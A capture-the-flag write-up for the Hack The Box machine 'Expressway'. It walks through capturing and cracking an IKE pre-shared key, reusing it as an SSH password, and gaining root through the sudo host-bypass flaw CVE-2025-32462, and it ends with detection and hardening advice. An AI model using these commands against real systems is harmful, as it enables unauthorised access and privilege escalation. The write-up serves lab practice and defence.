root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat expressway.md
// writeups

Expressway

20 Sep 2025 · 6 min read
Expressway — Hack The Box machine

Executive summary — Expressway is an unusual Easy Linux box: almost the whole attack revolves around IKE/IPsec. Enumerating the service in Aggressive Mode we capture the PSK hash, crack it by dictionary, and the PSK turns out to be the password for user ike over SSH. Once inside, Squid logs reveal an internal hostname (offramp.expressway.htb) and a hand-installed copy of sudo under /usr/local/bin. That combination opens the door to CVE-2025-32462, a bypass of sudoers' host-matching via sudo's -h flag that lets a rule meant for another host be applied locally. Path: IKE PSK -> ike -> sudoers host bypass -> root.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP<TARGET_IP>

Attack map

[UDP 500] IKE/IPsec in Aggressive Mode -> leaks the PSK hash
   |  psk-crack (rockyou) -> cleartext PSK
   v
[SSH]  ike  (user.txt)  (the PSK is the password)
   |  sudo -l -> anomalous behaviour
   |  Squid logs -> internal hostname "offramp.expressway.htb"
   |  which sudo -> /usr/local/bin/sudo (vulnerable build, not the system one)
   v
[ROOT] CVE-2025-32462 (sudo -h sudoers host bypass) -> root

1. Reconnaissance

echo "<TARGET_IP> expressway.htb" | sudo tee -a /etc/hosts

Before anything aggressive, a quick sweep with Nmap's default scripts confirms open ports and banners without too much noise.

nmap -v --script=default <TARGET_IP>

With the ground covered, we go deeper with version/OS detection and full NSE:

nmap -v -A -sV <TARGET_IP>
# 22/tcp open  ssh  OpenSSH 10.0p2 Debian 8

TCP has little more than SSH. Before attempting a login, we check which authentication methods it accepts —password, public key—, since that decides whether it's worth looking for a password elsewhere:

nmap -sV --script ssh-auth-methods -p 22 <TARGET_IP>

The real hint is on UDP: we check whether an IKE/IPsec service is listening on port 500.

sudo nmap -sU -p 500 <TARGET_IP>     # 500/udp open  isakmp

Environment note: during recon a tinyssh service was also observed on a different IP in the range; it's contextual lab-environment data, not part of this machine's attack path.

2. IKE/IPsec — recovering the PSK

We confirm the IKE endpoint responds to a simple query:

ike-scan expressway.htb

IKE's Aggressive Mode (versus Main Mode) negotiates phase 1 in a single packet exchange instead of three. To speed up that negotiation, the hash of the Pre-Shared Key travels inside the handshake itself —keyed with the PSK but capturable—, instead of staying only on the server. Anyone watching the traffic (or triggering it, as here) can grab that hash and crack it offline without the server ever noticing.

ike-scan -A expressway.htb

We repeat it specifying a particular IKE identity (an email-style ID) and saving the cracking material to a file:

ike-scan -A expressway.htb --id=ike@expressway.htb -P ike.psk

-P ike.psk dumps the captured hash to disk. We run it through a dictionary with psk-crack:

psk-crack -d /usr/share/wordlists/rockyou.txt ike.psk

The rockyou.txt dictionary breaks the PSK:

freakingrockstarontheroad

3. Foothold — SSH as ike

The recovered PSK turns out to also be the password for user ike over SSH —classic reuse of the same secret between the VPN service and a system account—:

ssh ike@expressway.htb
# Password: freakingrockstarontheroad

We verify the context and grab the first flag:

id
whoami
pwd
cat user.txt

4. Post-exploitation — finding the sudo lead

With ike access, the classic first step is checking sudo privileges:

sudo -l

The output shows anomalous behaviour: it's not the typical rule list for a regular user, but something pointing to sudo on this box not behaving like stock Debian. That justifies a closer look at which sudo binary is actually running and why.

We check Squid's logs (a proxy present on the box) for accesses and internal hostnames that could give context:

ls -l /var/log/squid
cat /var/log/squid/access.log.1

Among the entries we spot an internal hostname we hadn't seen before: offramp.expressway.htb. We keep that: it turns out to be the key to the escalation in the next step.

We confirm sudo is not the system's stock binary:

which sudo
ls -l /usr/local/bin/sudo

/usr/local/bin/sudo is a hand-installed copy, different from the one Debian ships by default —likely a vulnerable build left there on purpose, or by accident during a partial patching pass on the system.

5. Escalation — CVE-2025-32462 (sudo -h host bypass)

Two sudo ≤ 1.9.17 vulnerabilities were disclosed together in July 2025: CVE-2025-32463 (chroot/NSS: --chroot loads a user-controlled nsswitch.conf before finishing policy evaluation) and CVE-2025-32462, the one that actually applies here. Sudo's -h (--host) flag was meant to be used only alongside -l, to list a user's privileges on another host of a centralized sudoers setup (typical in LDAP/NIS environments). The bug is that sudo didn't restrict that flag to the listing mode: it was also accepted when actually running a command. If a sudoers rule grants broad privileges to a user but only when run on a different host (here, offramp, part of the same logical setup as expressway), passing that hostname via -h makes sudo evaluate the rule as if it were running there, effectively nullifying the host restriction.

With the hostname recovered from Squid's logs and the vulnerable binary located, the command that gives a root shell is direct:

/usr/local/bin/sudo -h offramp.expressway.htb bash

We verify the new context:

id
whoami
uid=0(root) gid=0(root) groups=0(root)
root

With a root shell, we close out the box:

cat /root/root.txt

System fully compromised. 🏴‍☠️

6. Evidence and detection (hunting)

With the box solved, it's worth looking at what traces this attack leaves for a defender: any of these commands would have caught the anomaly before it turned into root.

find / -type f -name 'libnss_*' 2>/dev/null
find /tmp /var/tmp /home -type f -name '*.so*' -mtime -7 -ls 2>/dev/null
cat /etc/sudoers; ls -l /etc/sudoers.d/
which sudo; ls -l /usr/local/bin/sudo
stat /etc/nsswitch.conf; cat /etc/nsswitch.conf

Hunting for libnss_* libraries out of place covers the CVE-2025-32463 (chroot/NSS) variant; auditing sudoers and spotting sudo binaries outside the system's standard path covers the CVE-2025-32462 variant exploited here.

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdIKE/IPsecAggressive Mode leaks the PSK hash, reused as SSH passwordAccess as ike
Enumeration/usr/local/bin/sudosudo ≤ 1.9.17 build installed outside the package managerSurface for CVE-2025-3246x
PrivEscsudo -h / sudoersCVE-2025-32462: -h applies another host's rule locallyRoot

Defender's view

Section 6 already covers host-side hunting after the fact; this is the monitoring and hardening view that would have stopped the chain earlier.

IKE Aggressive Mode and PSK reuse

How it shows up in logs / telemetry

  • The IKE daemon logs Aggressive Mode exchanges and the peer identity offered; Aggressive Mode negotiations from addresses that are not known VPN peers are worth an alert.
  • A network IDS with an IKE parser sees UDP 500 probes cycling through transforms (the fingerprinting step) before the handshake that leaks the hash.
  • auth.log: Accepted password for ike over SSH from the same source that just talked IKE.

How to fix it

  • Disable Aggressive Mode; use Main Mode, IKEv2, or certificate-based authentication.
  • Use a long random PSK that is not a dictionary word and is never reused as a system account password.
  • Disable SSH password authentication in favour of keys, so a cracked secret does not turn into a shell.

sudo host bypass (CVE-2025-32462)

How it shows up in logs / telemetry

  • Process auditing (auditd execve) records the full argument list, so sudo run with -h/--host together with a command, instead of only with -l, is a precise detection for this CVE.
  • A root shell spawned by /usr/local/bin/sudo rather than the packaged /usr/bin/sudo is anomalous in process telemetry.
  • File integrity monitoring or a package audit flags setuid binaries under /usr/local/bin that no package owns.

How to fix it

  • Update sudo to 1.9.17p1 or later, and remove hand-built copies so the packaged, patched binary is the only one in PATH.
  • Avoid host-restricted rules in shared sudoers files unless every host runs a fixed sudo; prefer per-host sudoers deployed by configuration management.
  • Restrict who can read proxy logs: the Squid log handed over the internal hostname that made the rule usable.

Lessons learned

  • Don't use IKE Aggressive Mode: it exposes the PSK hash in the handshake itself; use Main Mode or certificate-based auth.
  • Strong, unique PSKs: even if the hash is captured, a long random PSK won't fall to a dictionary; and it should never double as a system account's password.
  • Update sudo to ≥ 1.9.17p1: it fixes both CVE-2025-32462 (host bypass) and CVE-2025-32463 (chroot/NSS), disclosed together in July 2025.
  • Watch out for multi-host sudoers: rules that restrict privileges "only on host X" within a centralized configuration are only as strong as the validation of that restriction; if the host can be spoofed, the restriction doesn't exist.
  • Watch for binaries outside the package manager: a custom sudo under /usr/local/bin living alongside the system one is a red flag by itself.
  • Review proxy logs (Squid): they leak internal topology —hostnames, routes— that an attacker can use to move laterally.